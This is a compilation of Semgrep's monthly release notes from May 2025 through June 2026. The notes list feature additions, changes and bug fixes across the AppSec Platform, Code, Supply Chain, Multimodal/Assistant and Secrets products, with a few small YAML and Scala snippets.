* Added the `--x-mem-policy` flag to configure the OCaml garbage collector. Options are **aggressive** (the default), which uses less memory at the cost of longer scan times, or **balanced**, which compromises heap memory reclaiming while limiting how often the garbage collector runs. This flag is available only for Pro users.
* **MCP**:
* Hooks for both Claude Code and Cursor now pull custom rules from the Semgrep Registry.
* Enabled DNS rebinding protection for the MCP server.
### Changed
* Improved the accuracy of taint tracking through assignments, which helps reduce the number of false positive findings.
* The **Network Broker** configuration screen now allows only one public key, preventing users from adding multiple keys, which Semgrep does not support.
* The CWE tooltip message on a finding's **Details** page now displays the CWE name associated with the finding instead of a generic CWE name.
* Improved the performance of **Findings** page filters.
* Minor cosmetic changes to the **Findings** page.
* **CLI**:
* Bumped `glom` to version 23.3.
* The CLI waits longer before retrying a request if it receives a HTTP `429` or `5xx` response from Semgrep.
* Minor cosmetic changes to the **Scan Summary** section of the Semgrep CLI response.
* Blocking findings are now labelled in the CLI response.
### Fixed
* Fixed an issue where claiming a license caused Semgrep AppSec Platform to crash.
* Fixed an issue where the **Projects** page didn't display findings counts if the previous scan failed.
* Fixed an issue where the Semgrep Editor crashed when viewing metadata for select rules.
* Fixed an issue where Semgrep returned more false negatives when the maximum number of fields to track per object was reached during scans.
* Fixed an issue that allowed authors of pull requests or merge requests to update project tags by changing the `.semgrepconfig.yml` file. Project tags can now be updated only on full scans.
* **CLI**: fixed an issue where Semgrep printed info log lines when `--trace` was passed, but not `--debug`.
## π» Semgrep Code
### Added
* Added experimental support for the OpenFGA authorization language.
* Added support for case-insensitive string comparisons using `lower()` and `upper()`:
```yaml theme={null}
- metavariable-comparison:
metavariable: $VALUE
comparison: upper(str($VALUE)) == "SEMGREP"
```
* Scala: added taint flow support for `for-yield`:
```scala theme={null}
def test(x: X) = {
for {
y <- foo(x)
z <- bar(y)
} yield {
z
}
}
```
### Fixed
* Scala: fixed a parsing issue where subsequent calls in an implicit block weren't considered to be in the same scope:
```scala theme={null}
def f (a: t) =
foo()
bar()
```
## βοΈ Semgrep Supply Chain
### Added
* You can now pass environmental variables to third-party package managers using `SEMGREP_LOCAL_BUILD_ENV`, which accepts a JSON object, as part of the dependency resolution process invoked by `--allow-local-builds`.
### Changed
* The **CVE links** on the Supply Chain **Findings** page now link to specific **Advisories** pages instead of a general NIST definition of the security issue.
### Fixed
* Fixed an issue that prevented the **Enable Supply Chain** toggle from working.
* Fixed an issue that prevented the **Dependency** filter on the Supply Chain **Findings** page from returning all results.
## π€ Semgrep Assistant
### Changed
* The feedback dialog for autotriage now allows you to provide comments in addition to selecting whether you agree or disagree with the recommendation.
### Fixed
* Added the following missing values to the **Findings** pages' **Assistant file risk level** filter: `High risk > cryptography`, `Low risk > observability`, and `Low risk > sample code`.
## π Semgrep Secrets
### Fixed
* Fixed an issue where custom secrets couldn't be added to a policy if multiple policies are active.
## π Documentation and knowledge base
### Added
* Added information:
### Changed
* Major updates to [Usage and billing](/usage-and-billing/overview).
* Reorganized the [Supported languages](/supported-languages) information.
## π§ OSS Engine
* The following versions of the OSS Engine were released in February 2026:
# January 2026
Source: https://docs.semgrep.dev/release-notes/january-2026
February 4, 2026 Β· 4 min read
The following updates were made to Semgrep in January 2026.
## π Semgrep AppSec Platform
### Added
* You must now authenticate through OAuth when connecting to the MCP server using Streamable HTTP.
* **CLI**:
* Improved the performance of scan planning by reducing the cost of re-hashing `Target` objects. Semgrep's performance improvement on scans of large projects is proportional to the number of files in the project.
* In `--debug` mode, Semgrep warns you if you attempt to run a parallel scan with a larger value for `-j`/`--jobs` than the number of CPUs Semgrep has detected as available for use.
* Semgrep now provides a suggested starting value for `-j`/`--jobs`.
* `semgrep login` now supports the use of `--force`, which ignores existing tokens and starts a new login session.
### Changed
* Semgrep AppSec Platform's **Findings** page displays more descriptive rule group names, and the **Finding Details** page displays more descriptive rule names. For example, `sequelize-express` is now `SQL injection in Sequelize with Express`.
* The MCP server no longer supports SSE transport.
* **CLI**:
* Semgrep's CLI tool now uses `uv` instead of `pipenv` for package management.
* `semgrep ci` no longer applies autofixes to local projects, even if the **Suggest autofixes** toggle in Semgrep AppSec Platform is turned on.
### Fixed
* Fixed an issue where time filters didn't return the correct findings.
* Fixed an issue where Semgrep didn't consistently select the same findings across scans when deduplicating findings. Previously, the selected findings were always equivalent, but they weren't guaranteed to be identical. For example, the findings' metavariable bindings could differ. Depending on the rule used and the target code, this behavior could cause the fingerprints of findings to change from one scan to another.
* Fixed an issue where email addresses used for SSO were case sensitive.
* Fixed an issue where Semgrep AppSec Platform displayed non-shared GitLab projects for the group.
## π» Semgrep Code
### Fixed
* Improved the handling of parsing errors during interfile analysis. These errors are now reported to you and included in the JSON output.
* Fix an issue resulting in `bad file descriptor` errors when performing Git operations on Windows machines.
* **Java**: improved virtual method resolution.
* **Python**: Dataflow analysis now accounts for `for/else` and `while/else` loops.
* **Scala**: improved virtual method resolution.
## βοΈ Semgrep Supply Chain
### Added
* Semgrepβs reachability analysis now covers all **critical** and **high** severity CVEs from supported sources starting in 2017 across **all** supported languages.
* Diff-aware scans are now faster because Git-untracked files no longer slow down subproject discovery.
* Added support for Gradle lockfiles of the form `gradle*.lockfile`. Previously, only files with the exact name `gradle.lockfile` were supported.
### Changed
* Dependency search now allows you to search for one or more packages using:
* The name of the package
* An exact version number
* A range of version numbers
### Fixed
* Improved the performance of Supply Chain scans by reducing pre-computation when printing scan status information. Note that less information is displayed if there are no rules to run.
* Fixed an issue with version range matching for `npm` packages where the version number contained a pre-release identifier, such as `-alpha` in `1.2.3-alpha`.
## π€ Semgrep Assistant
### Added
* Members can now create suggested memories for Assistant when triaging findings in Semgrep AppSec Platform. Previously, only admins could do so.
### Fixed
* Fixed an issue where code suggestions that involved removing code didn't render in the diff correctly.
## π Documentation and knowledge base
* Minor updates and fixes.
## π§ OSS Engine
* The following versions of the OSS Engine were released in January 2026:
# July 2025
Source: https://docs.semgrep.dev/release-notes/july-2025
August 8, 2025 Β· 5 min read
The following updates were made to Semgrep in July 2025.
## π Semgrep AppSec Platform
### Added
* Support for running Semgrep natively on Windows is now in **public beta**. This applies to running Semgrep through the CLI and an IDE such as Cursor, VS Code, and IntelliJ.
* Semgrep now includes a link to the GitHub pull request (PR) on the finding details page if you link a Semgrep finding in the PR you create.
* By default, diff-aware managed scans now have **fail open** enabled in the event a scan errors out or takes too long. This means that diff-aware scans are marked as successful on the pull request (PR) or merge request (MR), even if they haven't completed after the specified timeout, allowing you to make the Semgrep status check required in your source code manager (SCM) while not blocking someone from merging a PR or MR if the check encounters an unexpected issue or takes too long.
### Changed
* General UI improvements, including style fixes.
### Fixed
* Fixed an issue where you couldn't add a connection to GitHub Enterprise without an access token.
## π» Semgrep Code
### Added
* Semgrep now prints warnings for each `paths.include` and `paths.exclude` pattern found in rules that Semgrep considers ambiguous.
* **Example**: a pattern containing a middle slash, such as `src/*.c`, is considered floating, or unanchored. To comply with `gitignore` and `semgrepignore` specifications, `src/*.c` must be treated as anchored. Semgrep prints a warning asking the user to resolve any ambiguity if it exists. The user is asked to change the `src/*.c` pattern to either `/src/*.c`, anchored, or `**/src/*.c`, floating.
`HTTP{,S}_PROXY=...` now accepts URIs without a scheme, such as `HTTP_PROXY=domain.com:port`.
### Fixed
* Fixed an issue where some diff-aware scans on shallow clones would use the incorrect merge base, resulting in a scan on commits not a part of the pull request. This is because Semgrep now considers the specific merge base to use when performing diff-aware scans.
* Fixed an issue where an empty file would sometimes be created in place of a missing input file.
* Fixed an issue where log files weren't succinct and introduced mid-entry newlines that broke log-parsing tools.
* Fixed an issue where the `sign in` command didn't work.
* Fixed an issue where `CiScanComplete.dependencies` were populated with unparsed dependencies.
* Fixed an issue where error details weren't printed when an `SemgrepError` exception caused `semgrep` to fail.
* Semgrep now prints an error message and exits instead of silently exiting with code `2` when you run `semgrep scan` in a Docker container without an argument, and there's no target project mounted under `/src`.
* Fixed an issue where a `Unix.Unix_error` would occasionally crash the experimental language server on startup.
* Fixed an issue where scans of large repositories in debug mode resulted in overly large logs.
* Path filters, such as `paths.exclude` and `paths.include` in rules, now apply to normalized file paths relative to the project rule. This makes rule selection independent of the current work folder.
* Patterns with a leading slash, such as `/src`, are now anchored instead
of floating. For example, `exclude: [ "/src" ]` excludes the target
file `src/main.c`, but not `misc/src/main.c`
* **Java**: deprecated the `class $A` partial class pattern in favor of `class $A { ... }`.
* **Python**: Fixed an issue where the Python parser didn't correctly parse and handle valid structural dictionary patterns.
## βοΈ Semgrep Supply Chain
### Added
* Supply Chain support for PHP reachability analysis is now **generally available (GA)**.
* You can now use the **Upgrade guidance** filter to look for findings based on whether upgrading to the dependency that remediates the vulnerability introduces breaking changes or not.
* Beginning with Semgrep v1.127.0, `uv` is a supported package manager for [Dependency Paths](/semgrep-supply-chain/dependency-search#view-the-dependency-path). This means that `uv` is a supported package manager across all Supply Chain features.
## π€ Semgrep Assistant
### Added
* You can now see which memories were used by Assistant when it generated remediation guidance for a specific finding. Semgrep displays this information on the finding details page.
## π Semgrep Secrets
### Added
* Added the ability to send Slack notifications for Secrets findings.
* Semgrep now makes up to three attempts when validating Amazon Web Services (AWS) credentials that failed due to possibly transient reasons.
## π Documentation and knowledge base
### Added
* Added the following knowledge base articles:
### Fixed
* Minor fixes, including fixes to broken link anchors.
## π§ OSS Engine
* The following versions of the OSS Engine were released in July 2025:
# June 2025
Source: https://docs.semgrep.dev/release-notes/june-2025
July 18, 2025 Β· 6 min read
The following updates were made to Semgrep in June 2025.
## π Semgrep AppSec Platform
### Added
* You can now customize PR and MR comments to provide additional context to the comments generated by Semgrep.
* Rules validation is now parallelized to improve performance when Semgrep scans use many rule files.
* Semgrep now respects `ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`, `NO_PROXY`, `PROXY_USERNAME`, and `PROXY_PASSWORD` for all networking, including networking done through the OCaml components. Additionally, the environment variable
`OCAML_EXTRA_CA_CERTS` now allows additional CA certificates to be used for network operations done by OCaml components.
### Changed
* The **Sign up** and **Log in** page has been redesigned.
* The **Finding details** page has been redesigned and unified across all Semgrep products.
* The **Settings > Deployment** page in Semgrep AppSec Platform has been removed and reorganized into a **General** page that features sub-tabs for individual uses and Semgrep products.
* Search and pagination on the **Settings > Source code managers** page have been improved, resulting in better load times and smoother navigation.
* Restored links to the same finding on other branches on the finding's details pages.
* **Jira**:
* Semgrep AppSec Platform now displays information about Jira ticket creation in the **Activity** section of the **Finding details** page. You can check if a ticket was successfully created or if an error occurred during ticket creation.
* Semgrep organization members can now create Jira tickets for findings.
### Fixed
* Fixed an issue where `semgrep ci` logs in GitLab return incorrect URLs with the wrong `&ref=...` argument.
* Fixed an issue where Semgrep Managed Scan was enabled on projects tagged as `local_scan`.
* Fixed an issue where scan logs show that pull request or merge request comments were successfully posted when the comments were not posted.
* Fixed an issue where Semgrep AppSec Platform did not account for community seats when calculating license usage.
* `nosemgrep` ignore comments no longer require exactly one leading space, allowing for more commenting styles.
* The Semgrep findings returned by the Semgrep Language Server (LSP) are now sorted correctly based on their location within files. This benefits the Semgrep IDE extensions, including VSCode and IntelliJ.
* Various UI fixes.
## π» Semgrep Code
### Added
* Added type inference for `mod`, floor division, and `pow`.
### Changed
* JSON output now includes basic profiling data.
### Fixed
* Fixed an issue where taint rules that use the experimental feature *labels* and specify sinks with a `requires:` of the form `not A` could produce findings with an empty list of traces, potentially causing Semgrep to crash.
* Fixed an issue where the empty Python fstring `f""` wasn't matched by the pattern `...`.
* Fixed an issue where a multiplication expression of `int` isn't considered an `int`.
* Fixed an issue where `2 * groups` isn't considered an `int` when `groups` is an `int`.
* **Go**: fixed an issue where `case` statements with ellipses didn't match patterns correctly.
* **JavaScript**: fixed an issue where JavaScript autofix code suggestions break syntax for `if` statements by consuming parentheses.
* **Python**: fixed a regression that could cause naming to take a disproportionate amount of time, significantly slowing down scans.
* **TypeScript**: fixed an issue with stack overflow and out-of-memory issues when parsing TypeScript configurations.
## βοΈ Semgrep Supply Chain
### Added
* Support for **PHP** reachability is now in **public beta**, which means that Semgrep offers 98% coverage for **Critical** severity issues, plus some coverage for **High** severity issues.
* You can now customize Supply Chain policies using CVEs as a filtering condition.
* Policies now accept custom CVE options to allow the selection of CVEs for which there are no current findings associated.
* Scan logs now report dependency resolution errors that result from local builds by default.
* Added the reporting of subproject dependency resolution to JSON output.
* **C#**:
* [Dependency Paths](/semgrep-supply-chain/dependency-search#view-the-dependency-path) for C# projects using NuGet are now in **public beta**.
* Dependency parsing now handles dependencies with `Project` transitivities.
* Semgrep can scan NuGet codebases without the need for a lockfile. This feature is in **public beta**.
### Changed
* The filter for malicious dependency findings are now included in the existing **Reachability** filter.
### Fixed
* Fixed an issue where missing version constraints in `yarn.lock` descriptors caused parsing errors.
* Fixed an issue where packages were misidentified by adding support for npm aliasing in package-lock.json.
* Fixed an issue where Jira tickets weren't created for some Supply Chain findings.
* Fixed an issue where archived repositories were accidentally scanned by Semgrep Managed Scans for Supply Chain findings.
* Semgrep no longer parses `build.gradle.kts` files as `build.gradle`.
## π€ Semgrep Assistant
### Added
* Memories can now be scoped to a rule's vulnerability class, which are the same groupings that exist on the policies page.
* Organization members can suggest memories for approval by admins.
* Semgrep now sends out emails with information about suggested memories, how many findings each memory affects, and the links to review the memories in Semgrep AppSec Platform.
### Changed
* Organization members can now see memories in addition to admins.
* Active memories now display the name of the person who authored the triage note that Assistant used to create the memory.
* Memories created by Semgrep are now labeled as created by Assistant.
### Fixed
* Fixed an issue where changes made to the **Allowed AI providers** dialog weren't saved.
## π Semgrep Secrets
### Added
* You can now create memories for generic secrets, allowing you to create and apply custom rules for secret detection through Assistant.
### Fixed
* Fixed an issue where files excluded in `.semgrepignore` were also applied to Secrets scans. Semgrep now scans files that have been excluded from Code and Supply Chain scans for leaked secrets.
## π Documentation and knowledge base
### Added
### Fixed
Minor corrections and typo fixes.
## π§ OSS Engine
* The following versions of the OSS Engine were released in June 2025:
# June 2026
Source: https://docs.semgrep.dev/release-notes/june-2026
July 8, 2026 Β· 7 min read
The following updates were made to Semgrep in June 2026.
## π Semgrep AppSec Platform
### Added
* **Unified policies** is now in beta. Unified policies provide a centralized way to choose the rules and rulesets used for Semgrep scans and define what happens after Semgrep identifies a finding, such as leaving PR or MR comments, blocking PRs or MRs, creating Jira tickets, or sending Slack notifications.
* **Autofix**:
* Autofix can now open pull requests and merge requests on GitHub, GitLab, Bitbucket, and Azure DevOps.
* Repositories connected through a personal access token (PAT) instead of a GitHub App now show tailored instructions for enabling Autofix.
* When configuring Slack notification actions in a remediation policy, you can now connect or reconnect a Slack workspace directly from the form instead of navigating away to **Settings > Integrations**.
* **API**:
* Findings now expose their first-detected date through the public API via a new `created_at` field on related issues.
* The public API now includes a bulk delete endpoint for API tokens, so you can revoke multiple tokens in a single request instead of one at a time.
### Changed
* Policy detail pages such as **Code rules**, **Secrets rules**, and **License configuration** no longer show **Detection** and **Remediation** tabs. Use the breadcrumbs to return to **Policies** and use its **Remediation** and **Detection** tabs.
* **API**: The API's findings endpoint no longer stops at 50,000 findings when paginating through large result sets, so integrations and scripts can retrieve your organization's full findings catalog.
* Repositories connected through an Azure DevOps service principal are now queued for sync automatically after installation, instead of requiring a manual sync.
* Semgrep AppSec Platform's **Usage & billing** page includes several updates to AI credit visibility and billing:
* The AI usage breakdown is now an interactive chart showing daily credit spend by category.
* Free-tier users see a simplified AI credit balance panel.
* AI autotriage cache hits are no longer counted against a deployment's AI credit balance.
* Free-tier users whose AI-powered detection scans are stopped after exceeding their spend cap are now billed for the credits they consumed before the failure, closing a gap that let scans run for free.
### Fixed
* Fixed the project filter search field on the **Findings** page. Clicking the clear button now clears the text.
* Fixed an issue where the **Findings** page incorrectly showed **This combination of filters isn't supported** for some filter combinations.
* Fixed an issue where the **Findings** page refreshed every 10 seconds after a filter error.
* Fixed an issue where exporting findings to CSV from the **Findings** page failed before the download completed.
* Fixed the branches tooltip on a finding's **Details** page so it no longer scrolls horizontally and clips content.
* Fixed links in finding descriptions not opening when right-clicked or opened in a new tab.
* Fixed an issue where selecting **Ignore files in future scans** on a finding's ignore menu did not add the file path to the project's path ignores.
* Fixed an issue where triage notes were not saved when you resubmitted the same note text.
* Fixed an issue where a disabled project-scoped rule on the **Policies** page showed an incorrect project count instead of **Disabled**.
* Fixed an issue where the **Policies** page could hang indefinitely while creating default policies.
* Fixed an issue where newly provisioned organizations saw a 403 error and a stuck loading state on the **Code rules** page.
* Fixed overlapping tooltips on the **Actions** menu in **Settings > Access > Members**.
* Fixed an issue where Autofix pull requests for Azure DevOps were shown with the incorrect status in Semgrep AppSec Platform.
* Fixed an issue where **Autofix** pull requests failed to open for organizations routing traffic through an ingress proxy.
* Fixed an issue where the Semgrep API's findings endpoint excluded findings that have Jira tickets associated, causing Jira ticketing automations to miss affected findings.
* Fixed an issue where AI-powered detection findings did not trigger Slack and webhook policy actions.
* Saved Wiz client secrets are now masked in integration API responses.
* Fixed an issue where the **Reporting** page project filter returned no results when repository names used different capitalization.
* Fixed an issue where the full-screen scan logs page loaded blank even though the scan logs were available.
* Fixed an issue where the **Projects** page scan list showed scans that did not match the selected product filter.
* Fixed an issue where the Registry search endpoint returned a server error for rulesets with no published version.
## π» Semgrep Code
### Added
* You can now use the `--max-match-context-size` CLI flag to limit how much surrounding source code Semgrep includes with each match, keeping scan output manageable for minified files.
* `metavariable-comparison` now supports bit shift operators in addition to arithmetic and logical bitwise operators.
* **Gosu**: Added experimental cross-file interfile analysis for taint tracking across multiple source files. Pro users only.
* Added support for more operators in constant propagation folding, including subtraction, division, bitwise operations, bit shifts, and comparisons.
* Semgrep now skips binary files such as images, archives, and compiled executables during scans by default. Pass the `--no-exclude-binary-files` CLI flag to scan them as before.
### Changed
* `--x-no-python-schema-validation` has been replaced with a value-taking `--x-rule-validation=full|core-only|none` flag for controlling rule validation behavior.
* **Python**:
* Parsing now preserves type parameters on `def` and `class` definitions.
* Python grammar used for parsing target code has been updated.
### Fixed
* Fixed parsing of integer literals with an underscore immediately after the radix prefix, such as `0x_dead_beef`.
* Semgrep no longer stores the API token in `~/.semgrep/settings.yml` when the scan uses a token supplied through the `SEMGREP_APP_TOKEN` environment variable.
* **CLI**: Fixed an issue where `semgrep ci` scans started from a pre-commit hook failed with `Unable to create '/.git/index.lock': Not a directory` in certain cases.
* `semgrep ci` with `--sarif` now correctly populates the output's `ignores` field with `nosemgrep`-suppressed findings, matching other output formatters.
## βοΈ Semgrep Supply Chain
### Added
* New organizations with Supply Chain enabled now automatically get the default **Block malicious dependencies** policy.
* Scans with Dynamic Dependency Resolution, **Upgrade guidance**, and **Autofix** PRs now work for customers with self-hosted Python private registries.
* Supply Chain dependency searches now support version ranges instead of only exact-version matches.
* You can now export SBOMs in CycloneDX 1.5, 1.6, or 1.7. Choose the version from the **Export SBOM** menu.
* You can now open **Autofix** pull requests even when Upgrade guidance analysis for the upgrade has not finished assessing requirements.
* You can now use the experimental `--x-dependency-paths` flag with `semgrep scan` and `semgrep ci` to include full dependency paths for transitive Supply Chain findings in JSON and SARIF outputs.
### Changed
* Supply Chain malicious dependency rules are now labeled **Malicious** instead of **Basic** in the scan analysis summary table.
### Fixed
* Fixed an issue where Supply Chain findings on the **Findings** page did not show their advisory identifier, such as CVE, GHSA, or MAL.
* Fixed an issue where exporting an SBOM a second time from the same repository returned the wrong file format, such as JSON instead of XML.
## π€ Semgrep Multimodal
### Fixed
* Fixed an issue where autotriage sometimes returned a verdict, such as **Likely true positive**, that did not match its written explanation.
* Fixed an issue where autotriage stopped running without notice after a project reached its monthly backfill limit on free-tier deployments.
* Fixed an issue where a stuck **In progress** AI-powered detection scan permanently blocked free-tier organizations from starting new AI-powered detection scans. Stuck scans are now cleared automatically.
* Fixed an issue where scan results were discarded if AI-powered detection was turned off while a scan was still running.
* Fixed an issue where bulk AI-powered detection scans used the SCM default branch instead of each project's configured primary branch.
* Fixed a server error when retrieving scan results for findings with certain vulnerability types.
* Fixed an issue where **Suggested fix** status updates timed out for repositories with many open findings.
## π Semgrep Secrets
### Fixed
* Reduced intermittent validation errors on HTTP-based secret validators for services such as Facebook, Slack, Stripe, Google, and Cloudflare by retrying transient network failures.
## π§ Semgrep Community Edition
The following versions of Semgrep Community Edition were released in June 2026:
# March 2026
Source: https://docs.semgrep.dev/release-notes/march-2026
April 10, 2026 Β· 8 min read
The following updates were made to Semgrep in March 2026.
## π Semgrep AppSec Platform
### Added
* Semgrep's **AI-powered detection** is now available in beta. With AI-powered detection, you can automatically identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization.
* Semgrep is now available as a Cursor and Claude Code plugin, providing automatic security scanning for Code, Supply Chain, and Secrets on every file.
* Added **Duplicate** as a triage reason for findings when multiple rules identify the same issue or when the same issue is tracked elsewhere.
* Findings can be linked to an existing ticket URL or have linked tickets removed when a ticketing integration is configured. Linking a ticket replaces any existing ticket associated with the selected findings.
### Changed
**Click to Fix** has been renamed to **Autofix**
* On the **Rules & Policies > Policies** page, the **Projects scanning** column now replaces the previous global on/off toggle. You can scope each rule to all projects, selected projects or tags, all projects with exceptions, or disable the rule for all projects. A drawer provides project search, filters, and bulk selection.
* **Billing & Usage** updates:
* When a deployment enforces AI credit limits, Semgrep AppSec Platform now shows alerts for low or exhausted credits and disables all AI features. If enforcement is off, these credit indicators stay hidden.
* Contributor counts reflect the last 90 days of activity, instead of 30.
* Billing timezones default to UTC for new organizations on usage-based billing.
* The **Findings** page now loads code snippets after the main finding details. Slow or unavailable source code managers are less likely to block the page or cause timeouts.
* Simplified GitHub onboarding by requiring only a single GitHub App installation instead of two. Existing users can now uninstall the public GitHub App if previously installed.
* GitHub.com source code manager connections can now be added without requiring GitHub SSO login, and users can connect multiple GitHub organizations.
* Improved member invite emails so invitations clearly require authorization through one of your accepted login methods.
* Package registry integration settings under **Settings > Integrations > Registry** now include an option to use Semgrep Network Broker when a registry is only reachable through your private network.
* Improved load times for the **Projects** page, **Policies** registry search, and source code repository sync for large deployments.
* Added support for agentic hooks in Windsurf IDE.
### Fixed
* Fixed a security vulnerability in SAML login handling, application container run web services, and read-only permissions.
* With RBAC enabled, read-only users can no longer trigger scans from the Semgrep AppSec Platform or API.
* Added server-side validation to enforce the 3,000-character limit for triage notes across all API endpoints.
* Fixed findings links across Semgrep products so shared URLs, bookmarks, dashboard shortcuts, and notification links preserve the correct branch and tab context.
* Fixed **Settings** page scroll behavior so top-level tabs stay visible after load.
* Fixed an issue where invalid webhook configurations would cause the **Integrations** page to become unusable.
* The **Enable Secrets** button now links to the correct **Settings** page.
* Fixed an issue where custom policies with no rules assigned would cause the **Policies** page to load indefinitely.
* Fixed an issue where the **Policies** page would crash when rulesets contained soft-deleted rules.
* Fixed an issue where filtering by rule mode on the **Code Findings** page would break the project filter, causing findings from all projects to appear.
* Fixed **Findings** page scroll when nested lists were still collapsed.
* Fixed an issue where findings with the status **Reviewing** had no action to continue triage. **Mark as open** in the finding menu sets the finding to **Reopened**.
* Fixed an issue where OpenID Connect SSO login could fail after recent provider updates that require the `iss` parameter.
* Fixed an issue where Slack notifications were missing merge request hyperlinks for self-managed GitLab instances with custom domain names.
* Fixed an issue where API errors could lead to the RBAC enablement screen incorrectly being displayed for deployments that already had RBAC enabled.
* Fixed an issue where Azure DevOps Cloud was incorrectly classified as an on-premise source code manager, causing incorrect warnings and blocking setup for valid cloud configurations.
* Fixed an issue where automatically setting up the same repository in multiple Semgrep projects could trigger duplicate diff-aware scans. Semgrep now auto-configures diff-aware scans only for the first linked project. Additional linked projects continue to receive automatic full scans, and diff-aware scans can still be configured manually.
* Fixed an issue where bulk ignore required a comment when changing **provisionally ignored** findings to **ignored**, even though a comment is optional.
* Added validation to reject bulk triage API requests that provide neither `issue_ids` nor filter criteria, preventing accidental triage of all findings.
* Fixed an issue where bulk ignore required a comment before you could submit when changing **provisionally ignored** findings to **ignored**, even though a comment is optional for that action.
* Fixed several issues with AI credits billing and usage:
* AI credits no longer show as zero on **Billing & Usage** when there are active credit grants.
* AI credits are no longer counted more than once for organizations with multiple licenses.
* AI credits no longer expire before the subscription ends for prorated or multi-year plans.
## π» Semgrep Code
### Added
* Autofix is now in beta for Semgrep Code, extending AI-generated draft pull requests (PRs) to Code findings in addition to Supply Chain findings.
* The **Code** page now shows AI-powered detection findings and rule-based scan findings, with filters to help you view each type separately.
* Added beta support for PowerShell.
### Changed
* Updated Kotlin tree-sitter parser to the latest grammar.
* **Scala**: improved taint tracking through lambda calls and cross-file tracking for globals, and improved type and call resolution.
### Fixed
* Fixed the finding's **Details** page so the **Rule-defined fix** tab also appears for rules that define a regex-based fix, not only rules that use a standard `fix` field.
* Fixed path filtering when scanning single files to correctly match project-relative patterns like `/src/test/**/*.java`.
* Fixed various parsing issues in Rust, Python, and Kotlin.
* Improved error reporting by reporting target file discovery errors as warnings instead of silently ignoring them.
## βοΈ Semgrep Supply Chain
### Added
* Dependency scanning for Java and Kotlin projects **without lockfiles** is now in public beta. Maven, Gradle, Artifactory, Nexus Cloud, and on-premises source code managers are supported.
* Added an admin-only API endpoint that allows you to re-run upgrade requirements analysis for Supply Chain findings. Each request can include up to 10 issues.
### Changed
* Supply Chain dependency search includes an **Exact match** option so you can use strict package-name matching or substring-style matching.
* Added **Autofix** filters to the Supply Chain findings. Supply Chain Autofix PRs and MRs now display detailed descriptions.
* Supply Chain finding **Details** pages now show reachability in only one place instead of twice.
* Simplified **Upgrade Guidance** filters on Supply Chain findings. **Breaking** is now a single filter that matches any breaking-change type.
* Disabling Semgrep Multimodal turns off Supply Chain Upgrade Guidance, so it is not left enabled without model providers; dependency processing also skips starting Upgrade Guidance when no AI providers are configured.
* Supply Chain periodically refreshes cached dependency license metadata from upstream sources so license identifiers stay closer to current System Package Data Exchange (SPDX) data.
* Supply Chain analysis of npm package lock files now uses a proprietary parser and is available only to Semgrep Pro users.
### Fixed
* Fixed an issue where Supply Chain **Autofix** selected the wrong workflow when the ecosystem set from the browser did not match the ecosystem on the finding from the scan.
* Fixed an issue where the custom dependency exception modal would not accept version numbers without a patch component, for example `1.19`, blocking exceptions for packages that don't follow strict semantic versioning.
* Fixed an issue where searching for dependencies with special characters, like `:`, in their names would fail with an error.
* Fixed an issue where the **Safe** Upgrade Guidance filter would incorrectly include findings with no Upgrade Guidance available.
* Fixed a security issue with the Supply Chain upgrade requirements API endpoint.
* Fixed a security issue in the Supply Chain dependency path API endpoint.
* Fixed `requirements.txt` parser silently dropping pinned dependencies that followed unpinned package names.
## π€ Semgrep Multimodal
* **Semgrep Assistant** is renamed **Semgrep Multimodal** to better reflect all its AI-powered capabilities.
### Fixed
* Fixed **Suggested memories** failing to load for memories created from PR and MR triage comments.
## π Semgrep Secrets
### Changed
* Semgrep secret validation now times out after 30 seconds instead of 15 minutes. This timeout is configurable via the `--secrets-timeout` flag.
## π Documentation and knowledge base
### Changed
* The [v1 API reference](/api-reference/v1/Introduction) now documents request bodies for **POST**, **PUT**, and **PATCH** operations instead of showing those inputs as query parameters. **GET** and **DELETE** behavior in the reference is unchanged.
## π§ OSS Engine
* The following versions of the OSS Engine were released in March 2026:
# May 2025
Source: https://docs.semgrep.dev/release-notes/may-2025
May 30, 2025 Β· 5 min read
The following updates were made to Semgrep in May 2025.
## π Semgrep AppSec Platform
### Added
* Semgrep AppSec Platform now displays `OWNERS` information in addition to `CODEOWNERS` information on the Finding Details pages. This information is also available through the Semgrep API.
* Added the ability to triage a finding directly from **Open** to **Reviewing** on the Finding Details page.
* **Jira**: added the ability to map to EPSS categories when creating Jira tickets.
### Changed
* Semgrep AppSec Platform now displays distinct login and signup pages.
* SSO email logins are now case insensitive.
* Semgrep in CI output now shows per-product links depending on what Semgrep products are enabled for a scan.
### Fixed
* Fixed an issue where **Analyze**, **Ignore**, and **Fix** options were available when the finding had previously been marked as **Fixed** or **Removed**.
* Fixed an issue where GitHub Enterprise users were incorrectly redirected to GitHub.com repository URLs.
* **Jira**:
* Fixed an issue where Semgrep didn't handle default Jira values correctly, leading to tickets not being created.
* Fixed an issue where Jira tickets weren't being created due to a Semgrep Assistant autotriage lookup error.
* **CLI**:
* Fixed `--help` documentation to reflect that, for `--metrics="auto"`, pseudoanonymous metrics are sent when the user is logged in.
* Assorted UI fixes, including fixes to incorrect line breaks and typo corrections.
## π» Semgrep Code
### Fixed
* Fixed a bug introduced in Semgrep 1.120.0 causing cross-file analyses to run out of memory due to too many parallel jobs. The default setting had been accidentally set to the number of available CPUs which is often too much in cross-file mode. It's now back to `-j1`, which you can override.
* **CLI**: Fixed a bug where `--disable-nosem` was not sending findings from `nosem`-annotated lines of code to Semgrep AppSec Platform. `--disable-nosem` now correctly sends findings, if any, from `nosem`-annotated lines, to the Platform.
## βοΈ Semgrep Supply Chain
### Added
* **Java and Kotlin**: Projects can now be scanned without lockfiles through Semgrep Managed Scans.
* Semgrep can now scan `composer.lock` files for the licenses of PHP dependencies. Through this feature, you can configure Semgrep to block or leave a comment on pull requests or merge requests, depending on the license of the dependency that the PR or MR is adding. This feature is enabled by default and runs on full and diff-aware Supply Chain scans.
* Policies: Added **No reachability analysis** as a policy condition.
* Improved handling of `tsconfig.json` in instances where multiple, separately rooted source directories with their own `tsconfig.json` configurations were previously treated as a single project. These directories are now treated as their own TypeScript project, which should result in better name/module resolution.
* Improved handling of `include`,`exclude` and `files` properties in `tsconfig.json`. Projects that use more than one `tsconfig` file in a given directory, which apply to different sets of files under that directory, should see improvements in name/module resolution.
* Python: Added support for `uv` package manager.
### Changed
* Scanning without the need for lockfiles is now in **private beta** for select programming languages.
* Improved the Supply Chain UX in various pages:
* If the finding has a function call that proves the finding is reachable, this function call is highlighted in the code in the finding's **Details** page.
* Added context in PR comments as to **why** a finding is reachable, under the section **Why this is reachable**. This alerts developers to the impact of a reachable finding.
